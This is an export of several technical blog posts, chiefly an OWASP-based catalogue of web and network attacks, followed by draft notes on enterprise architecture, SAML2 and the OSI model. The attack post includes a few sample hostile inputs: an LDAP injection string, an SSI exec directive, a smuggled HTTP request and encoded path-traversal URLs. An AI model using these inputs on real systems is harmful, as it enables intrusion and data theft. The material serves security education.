This document is released under the Creative Commons Attribution ShareAlike 3.0 license. For any reuse or

distribution, you must make clear to others the license terms of this work

http://creativecommons.org/licenses/by-sa/3.0/

Security: Attacks

2013-03-23T23:23:00.000-07:00

This blog post summarizes the attacks described in OWASP and is a continuation of the security series of blog posts.

OWASP Top 10 Application Security Risks - 2010

A1-Injection

A2-Cross Site Scripting (XSS)

A3-Broken Authentication and Session Management

A4-Insecure Direct Object References

A5-Cross Site Request Forgery (CSRF)

A6-Security Misconfiguration

A7-Insecure Cryptographic Storage

A8-Failure to Restrict URL Access

A9-Insufficient Transport Layer Protection

A10-Unvalidated Redirects and Forwards

Attacks

Attacks are the techniques that attackers use to exploit the vulnerabilities in applications. Anatomy of an Attack

Survey and assess
Exploit and penetrate
Escalate privileges
Maintain access
Deny service

Threats

Top network level threats include:

Information gathering
Sniffing
Spoofing
Session hijacking
Denial of service

Top host level threats include:

Viruses, Trojan horses, and worms
Footprinting ( ping sweep, NETBIOS enumeration).
Profiling
Password cracking
Denial of service
Arbitrary code execution
Unauthorized access

For details on categorizing threats, please refer Appendix A in the blog post on "<TODO>Information security, threats, risks"

The below is a summary of the known attacks in their respective categories:

Abuse of Functionality

Account lockout attack

Attacker attempts to lock out all user accounts, typically by failing login more times than the threshold defined by the authentication system

Cache Poisoning

This attack is rather difficult to carry out in a real environment. The list of conditions is long and hard to accomplish by the attacker. However it's easier to use this technique than Cross-User Defacement. To successfully carry out such an attack, an attacker:

Finds the vulnerable service code, which allows them to fill the HTTP header field with many headers.
Forces the cache server to flush its actual cache content, which we want to be cached by the servers.
Sends a specially crafted request, which will be stored in cache.
Sends the next request. The previously injected content stored in cache will be the response to this request.

A Cache Poisoning attack is possible because of HTTP Response Splitting and flaws in the web application. It is crucial from the attacker's point of view that the application allows for filling the header field with more than one header using CR (Carriage Return) and LF (Line Feed) characters.

Cross-User Defacement

This attack is rather difficult to carry out in the real environment. An attacker can make a single request to a vulnerable server that will cause the sever to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the sever.

Mobile code: invoking untrusted mobile code

By intercepting client traffic using the man-in-the-middle technique, a malicious user could modify the original mobile code with arbitrary operations that will be executed on the client’s machine under his credentials.

To solve this issue, it’s necessary to use some type of integrity mechanism to assure that the mobile code has not been modified.

Mobile code: non-final public field

This attack aims to manipulate non-final public variables used in mobile code, by injecting malicious values on it, mostly in Java and C++ applications.

When a public member variable or class used in mobile code isn’t declared as final, its values can be maliciously manipulated by any function that has access to it in order to extend the application code or acquire critical information about the application.

Mobile code: object hijack

This attack consists of a technique to create objects without constructors’ methods by taking advantage of the clone() method of Java-based applications.

If a certain class implements cloneable() method declared as public, but doesn’t has a public constructor method nor is declared as final, it is possible to extend it into a new class and create objects using the clone() method.

Data Structure Attacks

Buffer overflow attack

Buffer overflow errors are characterized by the overwriting of memory fragments of the process, which should have never been modified intentionally or unintentionally. Overwriting values of the IP (Instruction Pointer), BP (Base Pointer) and other registers causes exceptions, segmentation faults, and other errors to occur. Usually these errors end execution of the application in an unexpected way. Buffer overflow errors occur when we operate on buffers of char type.

Buffer Overflow via Environment Variables

Same as above except used with Env vars.

Overflow Binary Resource File

The source of a buffer overflow may be input data. When it comes from the Overflow Binary Resource File, the attacker has to modify/prepare the binary file in such a way that the application, after reading this file, has become prone to a classic Buffer overflow attack. The only difference between this attack and the classic one is the source of the input data. Common examples are specially crafted MP3, JPEG or ANI files, which cause buffer overflows.

Embedded Malicious Code

Cross-Site Request Forgery (CSRF) or One-Click Attack or XSRF

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified.

These are also known by a number of other names, including XSRF, "Sea Surf", Session Riding, Cross-Site Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as a One-Click attack

Logic/time bomb

This is a threat agent.

Replicating (virus)

Trojan Horse

A Trojan Horse is a program that uses malicious code masqueraded as a trusted application. The malicious code can be injected on benign applications, masqueraded in e-mail links, or sometimes hidden in JavaScript pages to make furtive attacks against vulnerable internet Browsers.

Other details can be found in Man-in-the-browser attack.

The 7 Main Types of Trojan Horse

1. Remote Access Trojan (RAT)

2. Data Sending Trojan

3. Destructive Trojan

4. Proxy Trojan

5. FTP Trojan

6. Security software disabler Trojan

7. Denial-of-Service attack Trojan

Exploitation of Authentication

Session fixation

Session Fixation is an attack that exploits a vulnerability in web applications that don't generate a new sessionid after login and use an existent session id.

The attack consists of inducing a user to authenticate himself with a known session ID, and then hijacking the user-validated session by the knowledge of the used session ID. The attacker has to provide a legitimate Web application session ID and try to make the victim's browser use it.

The session fixation attack is a class of Session Hijacking, which steals the established session between the client and the Web Server after the user logs in. Instead, the Session Fixation attack fixes an established session on the victim's browser, so the attack starts before the user logs in.

There are several techniques to execute the attack; it depends on how the Web application deals with session tokens. Below are some of the most common techniques:

• Session token in the URL argument: The Session ID is sent to the victim in a hyperlink.

• Session token in a hidden form field: In this method, the victim must be tricked to authenticate in the target Web Server, using a login form developed for the attacker. The form could be hosted in the evil web server or directly in html formatted e-mail.

• Session ID in a cookie:

o Client-side script

Most browsers support the execution of client-side scripting. In this case, the aggressor could use attacks of code injection as the XSS (Cross-site scripting) attack to insert a malicious code in the hyperlink sent to the victim and fix a Session ID in its cookie. Using the function document.cookie, the browser which executes the command becomes capable of fixing values inside of the cookie that it will use to keep a session between the client and the Web Application.

o <META> tag

<META> tag also is considered a code injection attack, however, different from the XSS attack where undesirable scripts can be disabled, or the execution can be denied. The attack using this method becomes much more efficient because it's impossible to disable the processing of these tags in the browsers.

o HTTP header response

This method explores the server response to fix the Session ID in the victim's browser. Including the parameter Set-Cookie in the HTTP header response, the attacker is able to insert the value of Session ID in the cookie and sends it to the victim's browser.

Session hijacking attack

This attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.

The session token could be compromised in different ways; the most common are:

§ Predictable session token;

§ Session Sniffing;

§ Client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc);

§ Man-in-the-middle attack

§ Man-in-the-browser attack

Session Prediction

The session prediction attack focuses on predicting session ID values that permit an attacker to bypass the authentication schema of an application. By analyzing and understanding the session ID generation process, an attacker can predict a valid session ID value and get access to the application.

Injection

Argument Injection or Modification

type of Injection attack. Modifying or injecting data as an argument may lead to very similar, often the same, results as in other injection attacks. It makes no difference if the attacker wants to inject the system command into arguments or into any other part of the code.

Blind SQL Injection

Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible.

Blind XPath Injection

The attacker may be successful using two methods: Boolenization and XML Crawling. By adding to the XPath syntax, the attacker uses additional expressions (replacing what the attacker entered in the place of login to the specially crafted expression).

· Boolenization

Using the "Boolenization" method the attacker may find out if the given XPath expression is True or False. Let's assume that the aim of the attacker is to log in to the account.

· XML Crawling

To get to know the XML document structure the attacker may use:

o count(expression)

o stringlength(string)

o substring(string, number, number)

Code Injection

Code Injection is the general name for a lot of types of attacks which depend on inserting code, which is interpreted by the application. Such an attack may be be performed by adding strings of characters into a cookie or argument values in the URI. This attack makes use of lack of accurate input/output data validation, for example:

If a site uses the include() function, which operates on variables sent with the GET method, and there is no validation performed on them, then the attacker may try to execute different code other than the author of the code had in mind.
When a programmer uses the eval() function and operates on the data inside it, and these data may be altered by the attacker, then it's only one step closer to Code Injection.

Command Injection

The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. There is a variant of the Code Injection attack.

An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.

Comment Injection Attack

Comments injected into an application through input can be used to compromise a system. As data is parsed, an injected/malformed comment may cause the process to take unexpected actions that result in an attack.

sql comments which serve like sql injection attacks
html comments which could comment the rest of html output.

Cross-site Scripting (XSS)

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites.

Cross-Site Scripting (XSS) attacks occur when:

1. Data enters a Web application through an untrusted source, most frequently a web request.

1. The data is included in dynamic content that is sent to a web user without being validated for malicious code.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information.

Reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server. When a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server.

DOM based XSS attacks involve using the client side JavaScript to process the untrusted user input.

The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence.

A good practice to follow is to review the code and search for all places where input from an HTTP request could possibly make its way into the HTML output.

Nessus, Nikto, and some other available tools can help scan a website for these flaws

Custom Special Character Injection

The software does not properly filter or quote special characters or reserved words that are used in a custom or proprietary language or representation that is used by the product. That allows attackers to modify the syntax, content, or commands before they are processed by the end system.

Direct Dynamic Code Evaluation ('Eval Injection')

This attack consists of a script that does not properly validate user inputs in the page parameter. A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement, which results in code execution.

Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.

Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.

Similar to the above XSS and other injections.

Direct Static Code Injection

Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.

Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.

Format string attack

probably c/C++ specific.

The attack could be executed when the application doesn’t properly validate the submitted input. In this case, if a Format String parameter, like %x, is inserted into the posted data, the string is parsed by the Format Function, and the conversion specified in the parameters is executed. However, the Format Function is expecting more arguments as input, and if these arguments are not supplied, the function could read or write the stack.

Full Path Disclosure

Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view.

For instance, sending invalid argument to a page loading web site might display the full path of the non-existent page.

LDAP injection

LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it’s possible to modify LDAP statements using a local proxy. This could result in the execution of arbitrary commands such as granting permissions to unauthorized queries, and content modification inside the LDAP tree. The same advanced exploitation techniques available in SQL Injection can be similarly applied in LDAP Injection.

Example:

The LDAP query is narrowed down for performance and the underlying code for this function might be the following:

String ldapSearchQuery = "(cn=" + $userName + ")";

System.out.println(ldapSearchQuery);

If the variable $userName is not validated, it could be possible accomplish LDAP injection, as follows:

§ If a user puts “*” on box search, the system may return all the usernames on the LDAP base

§ If a user puts “jonys) (| (password = * ) )”, it will generate the code bellow revealing jonys’ password ( cn = jonys ) ( | (password = * )

Parameter Delimiter

This attack is based on the manipulation of parameter delimiters used by web application input vectors in order to cause unexpected behaviors like access control and authorization bypass and information disclosure, among others.

Example:

Attacker can simply provide a value with the delimiter in it and extra commands or information. The web app would process it as if it were part of regular data.

Regular expression Denial of Service - ReDoS

The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.

The attacker might use the above knowledge to look for applications that use Regular Expressions, containing an Evil Regex, and send a well-crafted input, that will hang the system. Alternatively, if a Regex itself is affected by a user input, the attacker can inject an Evil Regex, and make the system vulnerable.

Resource Injection

This attack consists of changing resource identifiers used by an application in order to perform a malicious task. When an application permits a user input to define a resource, like a file name or port number, this data can be manipulated to execute or access different resources.

In order to be properly executed, the attacker must have the possibility to specify a resource identifier through the application form and the application must permit its execution

The resource injection attack focuses on accessing other resources than the local filesystem, which is different attack technique known as a Path Manipulation attack.

Server-Side Includes (SSI) Injection

The Server-Side Includes attack allows the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary codes remotely. It can be exploited through manipulation of SSI in use in the application or force its use through user input fields.

In any case, the attack will be successful only if the web server permits SSI execution without proper validation. This can lead to access and manipulation of file system and process under the permission of the web server process owner.

Example ( showing the SSI code on the server side) : Windows:

List files of directory:

< !--#exec cmd="dir" -->

Special Element Injection

Special Element Injection is a type of injection attack that exploits a weakness related to reserved words and special characters.

Every programming language and operating system has special characters considered as reserved words for it. However, when an application receives such data as user input, it is possible to observe unexpected behavior in the application when parsing this information. This can lead to information disclosure, access control and authorization bypass, code injection, and many other variants.

According to the characters used, the Special Element Injection attack can be performed using macro symbols, parameter delimiter and null characters/null bytes, among others.

Parameter Delimiter is another variant of Special Element Injection.

SQL Injection

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

Threat Modeling

SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.
SQL Injection is very common with PHP and ASP applications due to the prevalence of older functional interfaces. Due to the nature of programmatic interfaces available, J2EE and ASP.NET applications are less likely to have easily exploited SQL injections.
The severity of SQL Injection attacks is limited by the attacker’s skill and imagination, and to a lesser extent, defense in depth countermeasures, such as low privilege connections to the database server and so on. In general, consider SQL Injection a high impact severity.

Web Parameter Tampering

The Web Parameter Tampering attack is based on the manipulation of parameters exchanged between client and server in order to modify application data, such as user credentials and permissions, price and quantity of products, etc. Usually, this information is stored in cookies, hidden form fields, or URL Query Strings, and is used to increase application functionality and control.

This attack can be performed by a malicious user who wants to exploit the application for their own benefit, or an attacker who wishes to attack a third-person using a Man-in-the-middle attack. In both cases, tools likes Webscarab and Paros proxy are mostly used.

The attack success depends on integrity and logic validation mechanism errors, and its exploitation can result in other consequences including XSS, SQL Injection, file inclusion, and path disclosure attacks.

XPATH Injection

Similar to SQL Injection, XPath Injection attacks occur when a web site uses user-supplied information to construct an XPath query for XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured, or access data that he may not normally have access to. He may even be able to elevate his privileges on the web site if the XML data is being used for authentication (such as an XML based user file).

Because there is no level access control it's possible to get the entire document. We won't encounter any limitations as we may know from SQL injection attacks.

Path Traversal Attack

This category of attacks exploit various path vulnerabilities to access files or directories that are not intended to be accessed. This attack works on applications that take user input and use it in a "path" that is used to access a filesystem. If the attacker includes special characters that modify the meaning of the path, the application will misbehave and may allow the attacker to access unauthorized resources. This type of attack has been successful on web servers, application servers, and custom code.

Path Traversal

A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses “../” sequences to move up to root directory, thus permitting navigation through the file system.

Probabilistic Techniques

Brute force attack

the attacker is trying to bypass security mechanisms while having minimal knowledge about them.

Brute-force attacks are mainly used for guessing passwords and bypassing access control. Very often the target of an attack are data in forms (GET/POST) and users' Session-IDs.

Cash Overflow

A Cash Overflow attack is a Denial of Service attack specifically aimed at exceeding the hosting costs for a cloud application, either essentially bankrupting the service owner or exceeding the application cost limits leading the Cloud Service Provider disabling the application.

Cryptanalysis

Cryptanalysis is a process of finding weaknesses in cryptographic algorithms and using these weaknesses to decipher the ciphertext without knowing the secret key (instance deduction). Sometimes the weakness is not in the cryptographic algorithm itself, but rather in how it is applied that makes cryptanalysis successful

An attacker may have other goals as well, such as:

§ Total Break - Finding the secret key.

§ Gobal Deduction - Finding a functionally equivalent algorithm for encryption and decryption that does not require knowledge of the secret key.

§ Information Deduction - Gaining some information about plaintexts or ciphertexts that was not previously known.

§ Distinguishing Algorithm - The attacker has the ability to distinguish the output of the encryption (ciphertext) from a random permutation of bits.

Denial of Service

The Denial of Service (DoS) attack is focused on making unavailable a resource (site, application, server) for the purpose it was designed. There are many ways to make a service unavailable for legitimate users by manipulating network packets, programming, logical, or resources handling vulnerabilities, among others.

DoS User Specified Object Allocation

result: Out of memory.

DoS User Input as a Loop Counter

result:unnecessary execution

DoS Storing too Much Data in Session

DoS Locking Customer Accounts

DoS Failure to Release Resources

DoS Buffer Overflows

Protocol Manipulation

HTTP Request Smuggling

To exploit the HTTP Request Smuggling, some specific conditions must exist, such as the presence of specific proxy system and version such as SunOne Proxy 3.6 (SP4) or FW-1/FP4-R55W beta or an XSS vulnerability in the web server.

Basically the attack consists of submitting an HTTP request that encapsulates a second HTTP request in the same header, as shown below.

GET /some_page.jsp?param1=value1&param2=

Content-Type: application/x-www-form-

Content-Length: 0

Foobar: GET /mypage.jsp HTTP/1.0

Cookie: my_id=1234567

Authorization: Basic ugwerwguwygruwy

In this case, the first HTTP header is parsed by the proxy system and the second by the final system, permitting the attacker to bypass the proxy’s access control.

Also...

HTTP Request Smuggling is an attack technique that abuses the discrepancy in parsing of non RFC compliant HTTP requests between two HTTP devices (typically a front-end proxy or HTTP-enabled firewall and a back-end web server) to smuggle a request to the second device "through" the first device. This technique enables the attacker to send one set of requests to the second device while the first device sees a different set of requests. In turn, this facilitates several possible exploitations, such as partial cache poisoning, bypassing firewall protection and XSS.

HTTP Response Splitting

HTTP response splitting occurs when:

Data enters a web application through an untrusted source, most frequently an HTTP request.
The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

HTTP response splitting is a means to an end, not an end in itself. At its root, the attack is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allow them to create additional responses entirely under their control.

Traffic flood

Traffic Flood is a type of DoS attack targeting web servers. The attack explores the way that the TCP connection is managed. The attack consists of the generation of a lot of well-crafted TCP requisitions, with the objective to stop the Web Server or cause a performance decrease.

The attack explores a characteristic of the HTTP protocol, opening many connections at the same time to attend a single requisition. This special feature of the http protocol, which consists of opening a TCP connection for every html object and closing it, could be used to make two different kinds of exploitations. The Connect attack is done during the establishment of the connection, and the Closing attack is done during the connection closing.

Examples:

Connect attack

This type of attack consists of establishing a big number of fake TCP connections with an incomplete HTTP request until the web server is overwhelmed with connections and stops responding.

The aim of the incomplete HTTP request is to keep the web server, with the TCP connection in Established state, waiting for the completion of the request, as shown in figure 1. Depending on the implementation of the web server, the connection stays in this state until there is a timeout of the TCP connection or of the web server. In this way it’s possible to establish a great number of new connections before the first ones begin to timeout. Moreover, the generation rate of new connections grows faster than the expiring ones.

The attack could also affect a firewall that implements a proxy like access control as Checkpoint FW1.

Closing Attack

The Closing Attack is done during the ending steps of a TCP connection, exploring how some web servers deal with the finalization of the TCP connection especially with the FIN_WAIT_1 state. The attack, as explained by Stanislav Shalunov, "comes in two flavors: mbufs exhaustion and process saturation.

When doing mbufs exhaustion, one wants the user-level process on the other end to write the data without blocking and closing the descriptor. The kernel will have to deal with all the data, and the user-level process will be free, so that more requests can be sent this way and eventually consume all the mbufs or all physical memory, if mbufs are allocated dynamically.

When doing process saturation, one wants user-level process to block while trying to write data. The architecture of many HTTP servers will allow serving only a certain number of connections at a time. When this number of connections is reached, the server will stop responding to legitimate users. If the server doesn't put a bound on the number of connections, resources will still be tied up and eventually the machine comes to a crawling halt.

Asymmetric resource consumption

An attacker can force a victim to consume more resources than should be allowed for the attacker's level of access. The program can potentially fail to release or incorrectly release a system resource.

Spoofing

Man-in-the-middle attack

The man-in-the middle attack intercepts a communication between two systems.The MITM attack is very effective because of the nature of the http protocol and data transfer which are all ASCII based.

MITM Attack tools

There are several tools to realize a MITM attack. These tools are particularly efficient in LAN network environments, because they implement extra functionalities, like the arp spoof capabilities that permit the interception of communication between hosts.

PacketCreator
Ettercap
Dsniff
Cain e Abel

MITM Proxy only tools

Proxy tools only permit interactiion with the parts of the HTTP protocol, like the header and the body of a transaction, but do not have the capability to intercept the TCP connection between client and server. To intercept the communication, it’s necessary to use other network attack tools or configure the browser.

OWASP WebScarab
Paros Proxy
Burp Proxy
ProxyFuzz
Odysseus Proxy
Fiddler (by Microsoft)

Sniffing Attacks

Network Eavesdropping

Network Eavesdropping or network sniffing is a network layer attack consisting of capturing packets from the network transmitted by others' computers and reading the data content in search of sensitive information like passwords, session tokens, or any kind of confidential information.

The attack could be done using tools called network sniffers. These tools collect packets on the network and, depending on the quality of the tool, analyze the collected data like protocol decoders or stream reassembling.

Depending on the network context, for the sniffing to be the effective, some conditions must be met:

• LAN environment with HUBs

This is the ideal case because the hub is a network repeater that duplicates every network frame received to all ports, so the attack is very simple to implement because no other condition must be met.

• LAN environment with switches

To be effective for eavesdropping, a preliminary condition must be met. Because a switch by default only transmits a frame to the port, a mechanism that will duplicate or will redirect the network packets to an evil system is necessary. For example, to duplicate traffic from one port to another port, a special configuration on the switch is necessary. To redirect the traffic from one port to another, there must be a preliminary exploitation like the arp spoof attack. In this attack, the evil system acts like a router between the victim’s communication, making it possible to sniff the exchanged packets.

• WAN environment

In this case, to make a network sniff it's necessary that the evil system becomes a router between the client server communications. One way to implement this exploit is with a DNS spoof attack to the client system.

Network Eavesdropping is a passive attack which is very difficult to discover. It could be identified by the effect of the preliminary condition or, in some cases, by inducing the evil system to respond a fake request directed to the evil system IP but with the MAC address of a different system.

Resource Manipulation

Double Encoding

This attack technique consists of encoding user request parameters twice in hexadecimal format in order to bypass security controls or cause unexpected behavior from the application. It's possible because the webserver accepts and processes client requests in many encoded forms.

By using double encoding it’s possible to bypass security filters that only decode user input once. The second decoding process is executed by the backend platform or modules that properly handle encoded data, but don't have the corresponding security checks in place.

Attackers can inject double encoding in pathnames or query strings to bypass the authentication schema and security filters in use by the web application.

There are some common characters sets that are used in Web applications attacks. For example, Path Traversal attacks use “../” (dot-dot-slash) , while XSS attacks use “<” and “>” characters. These characters give a hexadecimal representation that differs from normal data.

For example, “../” (dot-dot-slash) characters represent %2E%2E%2f in hexadecimal representation. When the % symbol is encoded again, its representation in hexadecimal code is %25. The result from the double encoding process ”../”(dot-dot-slash) would be %252E%252E%252F:

Forced browsing

Forced browsing is an attack where the aim is to enumerate and access resources that are not referenced by the application, but are still accessible.

An attacker can use Brute Force techniques to search for unlinked contents in the domain directory, such as temporary directories and files, and old backup and configuration files. These resources may store sensitive information about web applications and operational systems, such as source code, credentials, internal network addressing, and so on, thus being considered a valuable resource for intruders.

This attack is performed manually when the application index directories and pages are based on number generation or predictable values, or using automated tools for common files and directory names.

This attack is also known as Predictable Resource Location, File Enumeration, Directory Enumeration, and Resource Enumeration.

Repudiation Attack

A repudiation attack happens when an application or system does not adopt controls to properly track and log users' actions, thus permitting malicious manipulation or forging the identification of new actions. This attack can be used to change the authoring information of actions executed by a malicious user in order to log wrong data to log files. Its usage can be extended to general data manipulation in the name of others, in a similar manner as spoofing mail messages. If this attack takes place, the data stored on log files can be considered invalid or misleading.

Consider a web application that makes access control and authorization based on SESSIONID, but registers user actions based on a user parameter defined on the Cookie header

Setting Manipulation

This attack aims to modify application settings in order to cause misleading data or advantages on the attacker's behalf. He may manipulate values in the system and manage specific user resources of the application or affect its functionalities.

An attacker can exploit several functionalities of the application using this attack technique, but it would not possible to describe all the ways of exploration, due to innumerable options that attacker may use to control the system values.

Using this attack technique, it is possible to manipulate settings by changing the application functions, such as calls to the database, blocking access to external libraries, and/or modification log files.

Spyware

Spyware is a program that captures statistical information from a user's computer and sends it over internet without user acceptance. This information is usually obtained from cookies and the web browser’s history. Spyware can also install other software, display advertisements, or redirect the web browser activity. Spyware differs from a virus, worm, and adware in various ways. Spyware does not self-replicate and distribute itself like viruses and worms, and does not necessarily display advertisements like adware. The common characteristics between spyware and viruses, worms, and adware are:

1. exploitation of the infected computer for commercial purposes

2. the display, in some cases, of advertisements

Unicode Encoding

The attack aims to explore flaws in the decoding mechanism implemented on applications when decoding Unicode data format. An attacker can use this technique to encode certain characters in the URL to bypass application filters, thus accessing restricted resources on the Web server or to force browsing to protected pages.

Path Traversal attack URL with Unicode Encoding(original url: http://vulneapplication/../../appusers.txt) :

http://vulneapplication/%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFappusers.txt

7a. Enterprise Architecture: Some "concrete" thoughts

2013-03-03T14:57:00.000-08:00

Virtualization

Cloud Computing

SaaS

PaaS

===== key characteristics of SOA framework

Service Platform – WS-I Basic compliant, Java-based client invocation and service endpoint framework Expose services using different interfaces, multiple invocation mechanisms (local, WSDL/schema, JMS...)
Service Lifecycle Events – Logging, Caching, Business Validation, Error Handling...
Enable POJO programming model for developing services Requirements, design, development, operational and other processes to support SOA approach

=====
.NET and J2EE ( how to integrate etc). Solve the common problem.

How to integrate SAP?

Security ( borrow from the security blog post)

Transaction

=== Example enterprise architecture.

• Unified Enterprise Portal across Apps
• Unified User Provisioning & Single Sign-On
• Composite Applications & Processes
• Enhanced Ad-Hoc Query & Analysis
• Updated Enterprise Reporting
• Real Time Business Activity Monitoring
• Unified Services Registry
• Unified Service Level Management
• Enterprise Services Bus
• Enterprise J2EE Infrastructure

Content Mgmt System

Security: SAML2

2013-01-19T17:05:00.000-08:00

SAML

why SAML?

SAML1 vs SAML2

SAML2 versus WS-Federation (or WS-Trust)

Use cases
- Single Sign on with IdP. Any IdP out there?
openSSO?
- Federation with Partner.
- Federation across deparments ( internal systems)
- API level usage.

why do I need to bother?
- bother with some aspects. define identity boundaries.

Security: Network and Telecommunication Security

2012-12-30T23:01:00.000-08:00

OSI Model

The OSI reference model, is described by ISO Standard 7498. Good way to remember it is "All People Seem To Need Data Processing"(APSTNDP).

Encapsulation - A message is constructed within a program on one computer and then passed down through the protocol's stack. A protocol at each layer adds its own information to the message; thus, the message grows in size as it goes down the protocol stack. The message is then sent to the destination computer, and the encapsulation is reversed.

The application layer, layer 7, works closest to the user and provides file transmissions, message exchanges, terminal sessions, and much more. This layer does not include the actual applications but rather the protocols that support the

applications.

The presentation layer, layer 6, receives information from the application layer protocols and puts it in a format all computers following the OSI model can understand. This layer also handles data compression and encryption issues. Some presentation layer standards include TIFF, ASCII etc.

The session layer, layer 5, sets up connections between applications, maintain dialog control, and negotiate, establish,maintain, and tear down the communication channel.. Examples, Network File System (NFS), SQL, NetBIOS, RPC. Modes:

Simplex: One direction.
Half-duplex: both directions, but only one at a time.
Full-duplex: both at the same time.

Session layer protocols control application-to-application communication, whereas the transport layer protocols handle computer-to-computer communication.

The transport layer receives data from many different applications and assembles the data into a stream to be properly transmitted over the network. Example: TCP, UDP, and Sequenced Packet Exchange (SPX).

Note: SSL is made up of two protocols—one works in the lower portion of the session layer and the other works in the transport layer. For purposes of the CISSP exam, SSL resides in the transport layer.

Network layer, layer 3, inserts information into the packet's header so it can be properly addressed and routed, and then to actually route the packets to their proper destination. Routing protocols build and maintain their routing tables at this layer. The protocols at this layer depend on the protocols at the transport layer to catch any problems and resend packets if necessary. Example, IP, Internet Control Message Protocol (ICMP), Routing Information Protocol (RIP), Open Shortest Path First (OSPF), Border Gateway Protocol (BGP), and Internet Group Management Protocol (IGMP).

The protocols at the data link layer convert data into LAN or WAN frames for transmission, convert messages into bits, and define how a computer accesses a network. The data link layer is where the network stack knows what format the data frame must be in to transmit properly over Token Ring, Ethernet, ATM, or Fiber Distributed Data Interface (FDDI) networks. If the network is an Ethernet network, for example, all the computers will expect the header to be a certain length, the flags to be positioned in a certain place within the packet, and the trailer information to be in a certain place with specific fields. On a Token Ring network, the computers would expect most of these parameters to be in different places and the frames to have particular formats.

The data link layer is responsible for proper communication within these technologies and for changing the data into the necessary format for the physical layer. It will also manage to reorder frames that are received out of sequence, and notify upper-layer protocols when there are transmission error conditions.

Two functional sub-layers:

Logical Link Control (LLC): The LLC, defined in the IEEE 802.2 specification, communicates with the protocol immediately above it( network layer).
Media Access Control (MAC): The MAC will have the appropriately loaded protocols to interface with the protocol requirements of the physical layer. The IEEE MAC specification for Ethernet is 802.3, Token Ring is 802.5, wireless LAN is 802.11.

Examples are the Serial Line Internet Protocol (SLIP), Point-to-Point Protocol

(PPP), Reverse Address Resolution Protocol (RARP), Layer 2 Forwarding (L2F), Layer 2 Tunneling Protocol (L2TP), FDDI, and Integrated Services Digital Network (ISDN). The data link layer converts the information into bits, and the physical layer converts those bits into electrical signals. Each network technology (Ethernet, Token Ring, and so on) defines the compatible physical transmission type (coaxial, twisted pair, or fiber) that is required to enable network communication.

